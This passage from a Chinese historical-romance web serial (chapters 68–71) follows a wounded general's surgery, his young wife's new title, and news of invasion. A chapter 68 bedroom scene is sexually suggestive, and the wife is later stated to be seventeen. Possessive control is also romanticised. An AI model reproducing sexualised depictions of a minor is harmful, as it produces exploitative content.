“世子,小桃一见面便向老夫行了一个大礼,她是真心实意地祈求老夫将你的身体治好。这一次,你确实要听她的话。”孙医圣缓慢地走了过来,脸上挂着笑容。 崔伯翀见到他,恭敬朝他俯首作揖。 “医圣直呼我的名字即可,您请入府。” 孙医圣点头走在前面,身后逐渐没了声音,想起初见崔世子时的场景,他心中不禁生出一分担忧。 刻骨的伤痛会改变一个人的性格,而崔世子偏偏又经历了战场的杀戮,更是难测。 第一次见到他的时候,孙医圣仿佛看见了一头深负重伤通身被鲜血染红的猛兽,虽然举止仍旧优雅从容,但一双眼睛漆黑如墨,带着足以毁天灭地的暴戾。 他快要死了,但一个骄傲的灵魂没有死在战场上,却要沉戟在得胜归来之后。 怎会甘心! 孙医圣为他深深惋惜,但也因为铁与血凝聚的眼神,对一个被恶意毁灭的灵魂生出了警惕,性情改变的崔世子还会是从前那个光风霁月的君子吗? 这些年,他亲眼看着他的眉宇间一次次地染上厌倦,失望,死寂。如今奇迹降临,他变成从前的崔世子还是肆无忌惮的复仇…… 孙医圣怀着百般思虑,伛偻身躯往后望去,不经意间看到一个场景,他微微敛息。 雕梁画柱的走廊中,华美贵气的男子手中正剥着一个金黄色的蜜橘,应该是从那个食盒里面拿出来的,他将蜜橘剥干净,分成一瓣瓣的果肉,旁若无人地放在身边人的手心。 小姑娘可能是不好意思被发现,借着衣袖的遮掩飞快将橘肉塞进嘴中,然后悄悄去拉男人的手指。 “够了够了,嘴巴里面塞不下了。”她含糊不清的低语连孙医圣这个老人家都听得见,让他失声而笑。 听到孙医圣的笑声,薛含桃就像是做坏事被抓到的孩童,窘迫地缩起了手指头,她并非想吃独食,只是好奇地看了一眼世子提着的食盒而已。 “宫中有人送给内人一些冻柿和金橘,托我转达。”比起她的羞窘,崔伯翀一派淡定,对着孙医圣开口解释。 孙医圣继续笑,薛含桃见状慌忙从食盒中拿出一个又大又圆的金橘,双手捧着给他。 “医圣大人尝一尝,这个橘子的味道很好。” “恁干的天气,吃些凉冰冰的果子的确舒服。”孙医圣毫不犹豫地接过来,剥开橘子皮,笑眯眯吃了起来。 不错,这便让他放下了心。 看起来,崔世子是个正常的人,能惦记着给一个小姑娘剥橘子吃,他心头扭曲的阴霾想必已经消失。 “从明日开始,伯翀便告假在家吧。” “好!” 薛含桃答应地很大声,把一整个食盒从男人的手中抢了过来,老老实实地献给孙医圣。 这是她第三次甩开自己的手了,崔伯翀居高临下地俯视空落落的手掌,到底没有罚她。 不过惩罚虽免,别的却逃不掉。 夜晚,微凉的风吹起碧青色的帷幔,薛含桃发间的纯金叶片震动不止,叮叮铃铃,乐曲急促而缠绵。 她不止一次伸手想要把步摇摘下来,可是指尖还没够到她的手腕就被捉住,压在被褥中,压在墙壁上,以及冰冷的镜面。 崔世子总是不知疲劳地抬起她的下颌,让她看镜子里面的自己,娇小的,容纳不住的,被碾乱捣碎的模样。 他想起白日和狄公闲谈时的话语,一遍遍地问她,“薛娘子喜欢你的夫君吗?” 每当这时,一颗桃子便会胡乱地点头,嘴巴里面说着喜欢。 “喜欢你,真的很喜欢。” “不管什么模样,神明,妖魔,普通的人,都喜欢。” “喜欢会笑的,不受伤的世子,不是高贵的世子也喜欢。” “夫君,我喜欢……不,是爱。” “我爱…你。” 她直勾勾地盯着镜子里春山裁骨如玉如画的面庞,伸出濡湿的指尖,一点点描绘他的轮廓。 经过了失望,绝望,再到希望,从现在开始,她也敢说爱这个字了。 崔伯翀垂眸,也望着镜子里面眼神痴迷的她,手臂缩紧,一寸寸地加深她和自己的距离。 然后,激烈的动作融入了温情,他轻轻亲在她红如胭脂的眼皮上。 不必再惊惶,不必再恐惧,也不必再逃离追赶。 这只是开始,无数个明天在等待着他们,他可以从容而悠闲地看着他的桃子一步步蜕变,守着她不被人抢走。 “这不是梦。”他对桃子说。 “嗯,这是真的。” 桃子哽咽了一声,而后又破泣转笑。 她说,“你一定要听话,不可以再受伤了。”- 次日,薛含桃早早就醒来了。 她精神十足地催促着崔世子也起身,看了一眼陶碗中的桃核后,便推开了房门。 一股冷风吹进来,女子的脸颊染上了一点凉意。 薛含桃愣了一下,抬起头,天空阴沉沉的,飘下了雪花。 第69章 第六十九章薛含桃被吓傻了。 时隔两个多月,都城终于下雪了。 在孙医圣决定为世子治疗身体的第一天,薛含桃感受到了命运的恶意。 “瑞雪兆丰年,下雪不会出现旱情,嗯,这一定是上天赐给世子的好兆头。”她看着一朵雪花在自己的手心融化,深吸一口气,脸上努力扬起笑容。 从偏房将大黑狗叫醒,她拿着木梳给阿凶梳毛,一遍两遍,梳了三遍,只有一点脱落的黑毛。剩下的毛发浓密顺滑,一眼望去,好似是纯黑色的锦缎,现在,很少有人会说它的毛发杂乱了。 大黑狗仿佛感觉到了主人的情绪,梳毛的过程中十分安静,只是用舌头舔她的手背。 最灰暗绝望的时日已经过去,不过是下雪而已,带来的影响微乎其微。 薛含桃勉强说服了自己,带着阿凶回了正房,她关上房门,刚扭过头,就看到一道高大的身影正静立在窗边。 他的侧脸平静,有白色的雪花随风飘进来,落在他的玄色寝衣上,仿佛一卷寂冷的水墨画。 薛含桃的眼睛怔怔地望着他,双腿像是灌了铅一般,怎么都动不了。 她想,世子可不可以不要再吐血,再昏迷。如果天上的神明能够听见,她愿意替他承受…… 崔伯翀发现她偏头看过来的时候,她的小脸比雪花还要白,只眼睛一圈红通通的,快要哭出来。 “傻桃子,站在那里不动,等你的桃核死掉?”知道她在难过什么,崔伯翀反而轻轻笑了起来,挑眉说她的桃核快被冻死了。 被风雪光顾过的桃核发芽的机会几乎没有,更遑论长成一棵桃树。 “陶碗,不见了。”他的笑声将薛含桃从泥潭中拉了出来,她的目光从他的身上移到了窗台。 那里除了一盏美丽的桃花灯,什么都没有。 薛含桃呆住,嘴巴微微张着。 “呜 !“好在房中还有嗅觉灵敏的大黑狗,它知道主人着急自己的陶碗,径直朝着一个方向跑去。 那里是靠近炭盆的书案,笔架的旁边就有一只盛着温水的陶碗。 “啧,多管闲事。”崔伯翀淡淡瞥了一眼邀功的大黑狗,命令它坐在书案的桌脚不许动。 可是话音落下的瞬间,有一个瘦小的身躯冲过来为他挡住了飘进来的风雪。 “……比起桃核,我更想要世子不受冻。”她一脸认真和他说,然后用力地将房间的窗户关起来。 风雪被阻隔在外,崔伯翀眸光微动,没有说话,而是单手将她抱去了净室。 温热的水汽充满了不大的房间,他抵着额头看向满脸惊慌的薛含桃,身体力行地告诉她自己并不是脆弱的瓷人。 “你应该感到高兴,在这场雪到来之前你就救了我,接下来的每一天对我而言都是坦途,明白么?” “我救不了世子,能救世子的人是孙医圣。” 暖意融融的水汽很快就将薛含桃身上残留的寒冷驱赶出去,她喘着气小声辩解。 同时为了强调对孙医圣的尊重,她偷偷地和崔伯翀说,等一会儿她就在房间里面为孙医圣立下长生牌位。 “把医圣大人当作神明来供奉,肯定有用。世子,你千万千万要听他的话。不要再受伤,静心修养身体,否则便前功尽弃了。” 一颗桃子喋喋不休,啰里啰嗦,讲了一遍又一遍,她绷着的身体和仓皇的眼神表现出她内心的紧张与害怕。 崔伯翀摸了摸她的脸颊,她便像是得到了安慰,拼命地往他的怀中拱去,闷闷地说,她只是太担心了。 “不需要担心,我说过你的余生只需要信仰我一个人,你的祈求我都会答应。” 他垂眸看着紧紧抱着自己的人,低声喟叹,这一刻,身体的空洞仿佛被彻底补足,对,就是这颗桃子,她就是自己缺失的一部分。 崔伯翀想,她必须一辈子待在他的手心。 永远放不开了- 这场雪从清晨开始,毫无停歇的架势,白茫茫的一片,将视野所及的每个地方都遮住。 好在方振早早就命人将积雪清理干净,燃起了无烟的炭火,屋中的温度和春夏之时相差无几。 孙医圣一个耄耋之年的老人穿着一件衣袍都觉得热,他笑呵呵地让人撤下两个炭盆。 房间轻微地变动了一番后,他才看向崔世子,说可以开始了。 屋中,薛含桃屏紧呼吸,眼睛一眨不眨地盯着孙医圣的每一个动作,看他将紫昙从玉盒中取出来烘干磨碎放到药罐中熬煮,看他拿出几寸长的金针在火上一遍遍燎烤,看他又用浸了酒水的布巾擦过锋利的匕首……这是要重新割开世子心口的伤疤吗? 她呆呆地咬着嘴唇,不敢想象到底会有多痛。 “带她去外面待着。”崔伯翀一手解开衣襟,瞥见她唇瓣上咬出的牙印,沉声对着方振吩咐。 这个她,自然只指一个人。 薛含桃小小地摇头,不愿意和方振离开这里,她要陪着世子。 可是她尚未开口说出的决心被湮没在一句话一个眼神中。 “乖桃子,听话。”坐在榻上的男人衣襟半敞,眼中闪过的暗光告诉她,他不想她看到自己狰狞又狼狈的模样。 “在外面念书给我听。” “……好。” 薛含桃往后退了两步,故作轻松地扭过头,走到了屏风外面。 雪依旧在下着,方振为她寻来了一本游记,是之前他在书房中未曾念完的那本。 她双手捧着书,一个字一个字地念了起来,随着鼻尖萦绕的血腥气越来越重,她的语调也越来越轻。 刀刃似乎在划开一个人的躯体,薛含桃念完了一页,舔了舔唇瓣的伤口,含着一点刺痛继续念下去。 少女的声音不快不慢,隐隐约约像是从天边传来。 老老实实的,不去看,不去闻,不去听,她的世界只剩下了一本书,不知疲倦地念着。 一遍终了,一个时辰已经过去,没有人唤她的名字。 她愣愣地睁着眼睛,又从第一页重新开始念。可是这一页没能到最后,有一个低沉沙哑的嗓音嗤笑着说桃子是不是偷懒了,明明书中有一个夔字,她怎么没念。 “该罚。” 蓦地,薛含桃手中的书掉落下去,屋外的雪花明明越来越密,此时她的眼前却是晴空万里。 “因为我…我不认识它,等着世子教我。” 她眼泪吧嗒吧嗒地掉,又哭又笑着跑了进去,迎接到来的希望。 而在孙医圣和方振的眼中,她像一头山间的小鹿,兴冲冲地奔向春暖花开- 雪下的第二天,崔伯翀大多数时间在沉睡,他的身体拖了太久,要想彻底恢复根本不是一朝一夕的功夫。 据孙医圣说,他现在虽然祛除了残毒,但心脉还很脆弱,需要细心呵护。 是以,苦涩的汤药还得一碗一碗地往下灌,不但如此,胸口重新割开的伤口也要按时换药。 很难熬。 但崔伯翀每次睁开眼睛都能看到他的桃子,她小心翼翼地挨着他的手臂,一刻都不离开,像是守护自己的珍宝。 她陪着他喝药换药,问他渴不渴饿不饿,笨拙地将汤匙放在他的唇边,哄着他的语气又软又甜。 而到了夜里无人的时候,她红着脸颊拿浸了温水的布巾为他擦拭身体,又害羞又勇敢。 就这样,崔伯翀饶有兴致地度过了最难熬的两天,居然心中还生出了一点儿怀念。 雪下的第三天,他恢复了行动能力,清醒的时间也多了起来,这时的桃子宛如喝了大补汤,一双眼睛更加明亮。 她开始叽叽喳喳地和他说外面发生的事情,比如方振买了许多农户家中的活羊和活猪。 “我们这里有炭火,可以让猪羊取暖,他们若是不卖,猪羊便会冻死,吃掉又太可惜,不如谷麦划算。” “世子,羊肉做披霞供真好吃,孙医圣和孙大夫那里一天就吃掉了半只羊。幸亏我让方大哥多买些羊。” “果儿姐姐闲着无事,将那些羊看的可紧了,她说有一只最肥美的公羊差一点就被西跨院的人夺走。阿凶帮忙将那只羊赶了回来,羊排骨就给它炖着吃了。” 崔伯翀捉着她的一只手,从指节漫不经心地揉到手心,听她说些鸡毛蒜皮的小事,偶尔掀开薄唇,问她一两句话。 有没有和人起冲突? 他睡着的时候害怕不害怕? 陶碗中的桃核有变化了没有? 薛含桃朝倚在榻上的他摇头,弯着唇,一一回答。 “没有起冲突,西跨院的人知道自己不如罗护卫功夫厉害,不敢的。” “我守着世子,能听到世子的心跳声,一点不害怕。” “外面在下雪,桃核肯定是觉得冷,所以不愿意发芽。” 每次她的话音落下,崔伯翀盯着她翘起来的唇角,总忍不住俯身,让她靠近一些。 薛含桃很乖觉,老实地凑上前让他亲自己,眼中的明媚笑意自始至终都没消失过。 …… 这场雪一直下了七天,第七天的时候,崔伯翀的伤口初步愈合,终于能够下榻走动。 只是按照孙医圣的嘱咐,他每日的汤药仍旧不能停,晨起一次的金针也是必不可少的。 而在这个节骨眼上,皇太子的承储大典也定了下来,就在后日。 孙医圣人到都城和崔伯翀告假不出的两个消息慢慢都传了出去,是以,承储大典当日,众人不见崔世子这个新任太子少师的身影,都未觉得奇怪。 同样不见人影的还有宰相蔡存, 私下一种说法流露出来。说是,新任太子少师崔世子已经时日无多,害他的罪魁祸首就是蔡存! 蔡存被陛下厌弃正是因为陛下知道了真相! 然而,承储大典结束后的第二天,蔡存以指尖鲜血为墨呈上了一封倾肝沥胆的陈情信,信中写明他此生忠心耿耿,无愧于陛下。 崔世子的旧伤登时被推到了风口浪尖之上,因为照蔡存陈情信中所写,除掉崔世子这个功高盖主的年轻将领完全是德昌帝授意。 此事一出,举朝大哗。 接着,宫中便下旨请薛含桃入柔仪殿,来人是送过她孝敬的何焕。 她压根不知道朝中发生的事情,唯一知晓的是小皇子被封为了太子,而与稽夫子有仇的蔡党似乎快倒了。 “世子,我怎么觉得不是阿姐要见我,像是陛下呢。”薛含桃有些不安,更不想离开恢复中的崔世子,抿了抿唇很不情愿。 但她不得不进宫。 崔伯翀搂着她的腰躺在躺椅上,闻言,似有若无地嗯了一声。 她的猜测不错,要见她的人确实是德昌帝。 而他也早已经准备齐全,为她铺路。 “连下了七日雪,你说对这里的百姓而言,什么最重要?”他问怀里的女子。 “吃饱穿暖。”薛含桃如实回答。 崔伯翀偏头笑了笑,对她说见到德昌帝便这么回答,太子初立,原本该大赦天下,但大雪过后,百姓需要的不是恩赦,不是朝中的争端,只是一袋面一车炭。 “嗯,听世子的。” 薛含桃随着何焕进了宫,果然她只见到了殿中的德昌帝。 比起之前,德昌帝整个人看起来十分苍老,活像是庙中阴森的泥塑。他盯着跪下的小姑娘,问她崔世子的身体如何。 “世子之前昏迷不醒,现在可以和我说话,也可以下榻走动了。不过,医圣大人说他必须静心修养,嗯,半年。” 半年,意思是最多再撑半年。 德昌帝心中有了盘算,沉默片刻后便让她起身,退下。 薛含桃没有起来,她仰头费劲地望向高高在上的皇帝,小声问,“册封太子都要大赦天下,为什么……小皇子没有?陛下是想要给我们分发米面和炭火吗?” “米面和炭火?”德昌帝眯起眼眸。 “喜气,每个人都沾一沾喜气,大家就不会想别的事情了,尤其下了七天的雪,米面肯定很贵,反正以前的我买不起。” 闻言,德昌帝呼吸一停,接着他在殿中快步走了一圈,急召几位重臣进宫商议。 ……薛含桃晕乎乎地得了一封褒奖她的圣旨出了宫,对着宁国夫人四个字看了很久。 怎么不是世子说过的定国夫人?不对,曹夫人才是定国公府的女主人。 但宁国夫人和定国夫人有什么区别? 她一头雾水,回去给世子看这封圣旨,可崔世子只是淡淡地点了下头,一言不发。 大概没什么区别吧,薛含桃自以为懂了他的暗示,默默地将圣旨放进了荷包里面。 “好在陛下还赏了我一百金,世子,你出的主意,这些金子全都给你。”她摆摆手,相当大方。 “一百金全给我啊,那便多谢宁国夫人赏赐。”崔伯翀一手揽住她的腰,将她拽入怀中,笑声低缓愉悦。 薛含桃被他说的不好意思,捂住了脸。 “宁国夫人厉害吗?”不久后,她亲昵地凑到他耳边问。 “厉害,为夫一介二品官终究配不上一品的宁国夫人。” “一品!” 薛含桃被吓傻了。 第70章 第七十章她的脸色越来越白。 宁国夫人的品级居然比世子的官职还要高!可她明明只是对陛下说了两句话,根本没有立下战功,也没有安置受灾的百姓。 薛含桃不明白,目光发直,“为什么?” 为什么这么简单,这么容易,这么…儿戏? 她下意识地向身边的男人寻求一个答案。可此时的崔世子已经阖上了眼睛,轮廓锋利的面庞隐隐现出一丝病容。 薛含桃立刻放弃了询问他的打算,小心地挨着他的肩膀,绞尽脑汁自己想答案。 陛下为何要如此厚赏她呢?因为她是太子的姨母,还是因为她出的主意让陛下喜欢,或是两个原因都有? 薛含桃想着想着,这天下午,东院迎来了两位客人。 一位是枢密使狄恒,她万分敬仰的狄将军。另一位出乎意料,竟然是狄恒的原配妻子,吴国夫人。 与面目威严体格健壮的狄恒相比,吴国夫人可谓是截然不同。她个子很矮,生着一张丰腴的圆脸,看上去四十岁左右的年纪,不算美,但让人第一面就觉得舒服很好相处。 事实上也是如此,吴国夫人完全就是个话唠。 “你就是小桃吧?哎,好孩子,长的可真水灵,快过来让我看看。” “姓狄的老匹夫恁会骗人,你和崔世子刚成婚那天,他喝了点酒半夜还唠叨着怕崔世子不喜欢你,好孩子,你再站回崔世子身边,多般配啊,男俊女美。” “世子你就别起身了,躺着,还躺着,那些虚礼到底哪个老混、蛋弄出来的,麻烦。对了,老匹夫说你昏迷过后刚醒来,身体虚弱,我让老大媳妇将家里的一盒鹿茸找了来,你看,用不用的上。” “小桃,今年多大了啊?你不知道我听说你被陛下封为宁国夫人都惊呆了,不满二十岁的国夫人那可是头一遭,像我,这里都有白发了。” 房间里面一直响着吴国夫人含笑又嗔怪的声音,从她进门几乎就没有停下过,别人甚至也插不进嘴。 与之相反的是,狄恒一句话都没说,自坐下来他端着一盏茶,似乎成了个木头人。 只在吴国夫人骂他老匹夫的时候动了动眉毛,看崔伯翀一眼。 崔伯翀多次去狄府拜访,自然是见过吴国夫人的,知道不让她一口气把话说完,她便会重复念叨,于是聪明地保持了沉默。 薛含桃也没吭声,不过她和他们两人不同,第一面就因为吴国夫人拉着她的手又看又摸的举动懵住了。等到吴国夫人大概说累了,端起一杯茶咕嘟咕嘟大口喝下去的时候,她才回过一点神,乖巧地回答吴国夫人的问题。 “嗯,我就是世子的夫人小桃,今年十七岁了,生辰在四月。” “才十七岁,那崔世子可比你大了不少,不过年龄大些也好,会疼人。不像姓狄的老匹夫,明明比我小三岁,如今看起来却是我的兄长。喝,就知道喝,一口茶磨磨唧唧地,看着就急人。” 薛含桃看见心中战不无胜的狄将军被吴国夫人数落地沉默寡言的样子,不由抿着唇愣住,原来国夫人并不只是她想象中的高贵矜持,她放下心,看向世子。 男人仍躺在书房中的躺椅上,察觉到她的目光,暗示她继续去看狄公。 薛含桃老实地偏了偏头,只见通身气势恢宏的枢密使狄大人此时正无奈地将茶水一饮而尽,然而或许因为吴国夫人的数落,他的动作急了些,结果被茶水呛住,咳了好大一声。 “哎呀,你这老匹夫,喝口水都不会了,再老一些又要我伺候。”吴国夫人一边骂他一边掏出帕子给他擦拭水渍。 薛含桃没有忍住,小小地笑了一声。好奇妙啊,那么厉害的狄将军在吴国夫人的面前大气都不敢喘似的,而吴国夫人虽然总骂他,可为狄将军擦拭的动作又及时又温柔…… 看到她笑,吴国夫人也笑了起来,笑声洪亮, 说自己这还是第一次到定国公府来,问薛含桃有没有空陪她在院中赏一赏景。 “让老匹夫和崔世子两个人谈些有的没的,反正我是不耐烦听。” “嗯,有空的,夫人,我们院中还养了很多羊羔,您要去看吗?” 薛含桃莫名想到了买来的猪羊,觉得比起赏景,吴国夫人可能更喜欢活物。 果然,吴国夫人没有拒绝,拉住她的手往外走,“走,去看看,想当年我在老家的时候也养过不少畜生,鸡鸭羊都有。” 随着她们的离去,书房逐渐恢复了安静。 狄恒拿着一方淡紫色的手帕仔细地折叠好,再次抬眸,他的神色变得晦暗不明,眉间的川字纹犹如刀刻。 “之前我仅有猜测,却不料蔡存直接会在信中挑明,”他看向静躺不语的青年,语气一顿,“陛下在这个节骨眼上封小桃为宁国夫人,大半为了堵住天下人的悠悠众口。而你,伯翀,心中可还有恨?” “狄公既已知晓答案,何必问我。”崔伯翀神色淡漠,他一个臣子凭何去恨天下之主,恨又有何用。 闻言,狄恒长长地叹了一口气,眼中有怨愤也有悲哀,这便是武将的宿命,只要不死在战场上,终有一日也会死在自己君主的手中。 “伯翀,这件事并不简单,蔡存私下应当与晋王府有接触。”狄恒收到一则消息,语气复杂地说,“据闻晋王有意将自己的女儿仪静县主嫁给蔡存的儿子。” 皇太弟的流言传了十几年,晋王如何甘心眼睁睁地看着一个不足一岁的小儿成为名正言顺的储君,即便知晓机会渺茫,他也会冒险一试。 拉拢被德昌帝厌弃的蔡存是他的计划之一,借着蔡存重提旧事令朝臣尤其是武将对德昌帝寒心,只是一个开始。 “太子已定,晋王不过是徒死挣扎。如今我病着,刚好清静,狄公也最好不要掺和进去,任那些文臣在朝中吵闹便是。”崔伯翀垂下眼眸,晋王和当今根本没有区别,无非一个是皇帝一个还没当皇帝罢了,倒是年纪尚幼的稚儿,性情未定。 狄恒微微皱眉,“我并非担心朝中出事,伯翀,金人那边怕是会有异动,这场雪下了整整七日,可不止我们这里。” 风雪会将牛羊冻死,往北气候更加寒冷,金人损失惨重,一定会南下入侵劫掠,多年来,凡是游牧民族都是这个德行,无一例外。 “狄公所言甚是,但陛下和朝中的那些人未必会听从,他们只会提前向金人送去金银米粮求和。” 崔伯翀面容平静,不冷不热地道出一个事实。 狄恒闻声苦笑不止,“我只庆幸,年前你使计将韩璞等人调回了军中,不然,我怕是夜不能寐。” “公既不安,趁着此次陛下和晋王争斗的机会,不若作出安排。” “伯翀的意思是?” “我与公都有家人,他们和天下千千万万个百姓的性命不能尽托付在那些人的手中。君王无暇,边防之安危当由我等费心。大好的河山,不能烂掉,也不能被敌人夺去。” “可伯翀你的身体?” “暂时无碍,并非亲上战场。”- 傍晚,薛含桃小脸红扑扑地送走了吴国夫人,回到房间里面,她端着一碗黑乎乎的汤药放在崔世子的手上。 兴奋未减。 “吴国夫人体力太好了,那么大一只公羊她竟然能够捉住,绳子只一套过去,牵着便走。” “你喜欢吴国夫人吗?” 崔伯翀接过汤药,有些嫌弃地喝下去。薛含桃急忙为他递上一颗蜜饯,他舔着她带有甜意的指尖,问她。 “喜欢。”女子点头,小声说吴国夫人很有趣,和她相处的时候没有距离,不必顾忌自己来自乡间的出身。 “而且她告诉我,如果觉得国夫人的封号难以承受,可以多做些善事。” 薛含桃觉得她说的很对,数了数自己剩下的银子,决定要在城中施几日的粥,她知道都城日子最难过的那些人住在何处。 她和果儿姐姐寻画师的时候去过。 “好,明日我和你一起。” 崔伯翀开口,本以为她会乖巧答应,谁知桃子朝他露出了坚硬的一面。 “不,世子不许出门,外面很冷,天气暖和才可以出去。”薛含桃紧抿着唇,郑重地道一切以他的身体为重。 发现她绷紧的反应,崔伯翀的表情变得很有意思,轻飘飘地反问,他为何要听她的话。 “因为我是宁国夫人,比世子的品级高。而且,吴国夫人说了,我是世子明媒正娶的夫人,我可以管教你,就…就像吴国夫人对待狄将军。” 薛含桃一开始底气十足,可是一与他似笑非笑的目光接触,她默默压低了声音,最后讨好地朝他笑,“雪化了之后,我陪世子一起出门游玩,好不好?” 修养身体的过程中偶尔出门游玩一次,应当没有问题。 不过,她想自己还是要问一问孙医圣,“只要孙医圣说可以,那世子便可以出门。” “好啊。”对比她的着急,崔伯翀表现的云淡风轻。 “乖世子,给你奖励。” 见他不再坚持,薛含桃顿时长呼一口气,学着他奖励自己的模样,吧嗒一下亲在他的唇角。 送上门的桃子焉有拒绝的道理,崔伯翀手掌立刻捉住她的后颈,他垂头勾住她的舌尖加深了这个吻。 水声啧啧作响,薛含桃努力地迎合着,满心满眼只有他一个人。 什么退路,什么身份,通通都被她抛到了九霄云外。 可是,命运太喜欢捉弄人了,总是在猝不及防的时刻,它着急地冲出来给欢欢喜喜的桃子一个重击。 仅仅在三天后,都城的雪刚化掉大半的时候,金人陈兵边境的消息就快马传入了都城。 彼时,薛含桃和果儿罗承武等人正在搭建粥棚的地方,听到一人大叫金人要打过来了,大多数人还没有忘记三年多前的那场噩梦,惊恐万分,丢掉粥碗便逃。 可是逃又能逃到何处去呢,这里本就只有一间间狭窄的屋子。 很快,人群就乱了起来,罗承武和几人护住她和果儿不被挤到,退进了粥棚里面。 “慌什么,消息是真是假还不知道!”罗承武眼看着有人跟着他们也往粥棚里面挤,开口大喝。 他面相凶,声音也带着狠劲,成功地喝止了一群人。 可粥棚到底也待下不去了,薛含桃只好将剩下的粥米分出去,提早回府。 回去的路上,果儿因为这一场突如其来的变故抱怨不休,“肯定是有人故意传的假消息,金人早被世子打怕了,谅他们也不敢来。” “崔世子,我们还有崔世子,不用怕。” “三年前可以,现在定然也能敌过金人。” “对,怕什么,他们敢来就把他们打的落花流水。” 路边许多人也在议论,神情逐渐变为放松。 只有薛含桃,脸色越来越白。【魔蝎小说 mo xie xs .c om】 70-80 第71章 第七十一章她不敢问。 “崔世子。” “大英雄。” “他一定可以打败金人。” …… 一个个字眼飘进薛含桃的耳中,将她压地喘不过气,她停下脚步,茫然地看向四周。 期许,每一个人的脸上都是期许。 三年的时间那么长,他们或许已经忘记了世子的模样,除了王牙媪没有别人再认得他,但只要战事再起,危险来临,曾经被遗忘的英雄很快被从记忆中翻出来。 他们不关心他的身体,不知道他需要修养,他们只是需要一个英雄来保护他们。 可是,他是桃子的夫君,是桃子很辛苦很努力留下来的。 甚至,几天前,他才能从榻上起身。 薛含桃想要大喊一声,想要对每个人说,她的夫君不能再受伤了,再受伤他会死的,然而就连果儿都对她的突然停下而迷惑不解。 “娘子,您怎么了?是也害怕金人打过来吗?这里是都城,世子……” 果儿的话说到半截,薛含桃慢慢偏头看向她,眼睛里面带着骇然的红色,将果儿吓了一跳。 片刻后,果儿嘴唇蠕动,还不等她想好要说什么,就见她家娘子攥紧了手心朝定国公府的方向跑去。 少女的背影不管不顾地挤入人群中,与大多数人相比,她的身形依旧瘦小不起眼,可她的速度太快了,快到果儿只是一眨眼就丢失了她的踪影。 “娘子,等一等我,小心摔倒。”果儿反应过来后,着急地跺脚,赶紧跟了上 去。 好在,罗承武和几个护卫的速度也不慢,他们最后追上了薛含桃。 一行人回到定国公府,果儿气喘吁吁,已经说不出话来。 但她眼中的娘子却一点都不知道疲累,少女抓着裙摆跑过走廊,跑进正房,然后,又游魂一般地走了出来。 “世子怎么不在?”薛含桃自言自语着,想到什么又奔去了书房。 然而,书房里面也是空的,只有守门的侍女。 没有找到人,薛含桃的牙齿咬住了自己的指尖,不会的,消息刚传入京城,她也只离开了两个时辰。 “也许,在孙医圣那里。”她急急忙忙又往后院跑去,这时,大黑狗冲到她面前,伏低身体朝她叫了一声。 熟悉的狗叫声让薛含桃冷静下来,她深深吐息,终于想到可以找人去问,方大哥,玉蘅等等都在府中。 她看向果儿说要见方振和玉蘅,果儿心有余悸地拍了拍胸口,唤来了玉蘅。 “夫人,您出门后不久,宫中急诏,方管事驾着马车送世子进宫去了。”玉蘅的脸色僵硬,显然她也听到了金人陈兵的消息。 只是进宫,应该不会有事的。 薛含桃这么安慰自己,可心中的焦灼依旧快将她整个人吞没,对朝政她懂得不多,但是她知道一个最朴素的道理,如果要打仗,大多数人希望在前方迎战的人是可以给他们安全感的崔世子。 而她,不希望。 “只要等一等,等他的身体好全……否则,孙医圣说会前功尽弃的。” 不好的预感越来越强烈,薛含桃的眼睛像是失去了焦距,她望向门口的方向,没有怎么犹豫,说她也要进宫,让玉蘅准备马车。 对,她现在是宁国夫人,吴国夫人和她说国夫人的等级很高,不仅可以免于刑罚接受一些人的拜见,还拥有入宫觐见的资格。 哪怕见不到世子,她也可以在宫门处等着他。 “金人居然真的打过来了。”果儿一脸发蒙,察觉到危机感,忙不迭地找来罗承武陪同。 她们回到府里还没有多久,便又迈步往府外去。 东院从来都很安静,回来的时候没注意,离开东院才发现,有一股放肆的喧闹声由远及近地传来。 有人在欢笑,有人在奏曲,也有人已经挡不住幸灾乐祸的恶意。 从上方窥伺的恶心目光重新出现,盘旋着的秃鹫终于寻到了分食血肉的机会,载歌载舞,像是在庆祝。 薛含桃仰起头,看到了不远处望仙阁上举着酒杯畅饮的男人,两个人,分别是之前摔断了腿的崔季徽和被世子打掉牙齿的曹十一郎。 她睁着黑白分明的眼睛,盯住他们。 他们似乎也发现了她,毫不顾忌地大笑起来,连说话的语调也异常尖锐,要让她听到。 “人人都推崇崔世子击退外敌,照爷说全都是骗傻子的,一群贱、民,如今报应到了,哈哈哈哈哈。” “金人向来勇猛,如今重振旗鼓,看那崔伯翀如何应对,平日里狂的没边,不会龟缩在女人怀里当缩头的王八吧?” “别别别,本来就一条到了头的烂命,不如发挥余热,死在战场上,好歹也为崔家增添几分光彩。表兄,将来你继承国公府,也更好听不是。” “终究还是要靠我崔家,有些人识趣就该早早地为自己找好归宿,免得落得个守寡的下场。反正我来者不拒,忍一忍崔伯翀的剩饭也能吃的下去。” “放肆,他们在说世子和娘子!”听到这些话,果儿气的发抖,不止她,其他人的脸色也没有一个好看的。 薛含桃定定地看着他们脸上令人作呕的笑容,回过头认真地问罗承武,打不打得过。 “罗大哥,我是宁国夫人,将来天子的姨母,不必怕他们。” 罗承武压着心头的火气,应声,论精锐武力,就算定国公动用崔氏世仆,也敌不过东院的护卫。 毕竟,他们真的跟着世子上过战场,杀过敌人。 “…用这个,打他们。”薛含桃大口地吸气,指着罗承武等人手中的刀鞘,眼中不再有害怕,只剩下坚决。 她讨厌听到那两个人口中的话,她要让他们再说不出来。 闻言,罗承武沉默了一瞬,望着从前这个看到他刀鞘忍不住闪躲的小姑娘,说了一声好。 人总是会因为挚爱的人和物变得勇敢起来。 她也不例外。 “你们两个从后方包抄,别让人跑了。若有人反抗,直接动手不必顾忌。”罗承武沉声吩咐下去,面无表情地迈步走向望仙阁。 薛含桃没有犹豫地跟在他的身后,小脸紧紧绷着。 崔季徽和曹十一郎发现她的举动,完全不在意,一个出身低微的农女而已,就算有宫里的贵妃有依靠,可到底根基太浅。 她能拿他们怎么样,以后说不得还要讨好他。 不过,这个农女现在的模样清丽出尘,颇想让人压在身下疼爱一番,崔季徽看着她越走越近,心痒不止,嘴边不自觉地挂上了调笑,“好嫂嫂,你上来是想陪弟弟喝酒吗?” 薛含桃一字一顿地回答他,“不,我要打你们。” 下一刻,在崔季徽和曹十一郎不敢置信的目光中,他们饮酒的酒杯被拿起来,狠狠地砸在他们的身上。 “贱、人尔敢!” 话音未落,罗承武就拔出了佩刀,冷光闪过,望仙阁上的人被团团围住,不由噤若寒蝉。 崔季徽和曹十一郎表兄弟两人被压着跪在地上,目眦俱裂,扬言他们是崔氏、曹氏世家郎君,谁敢动手。 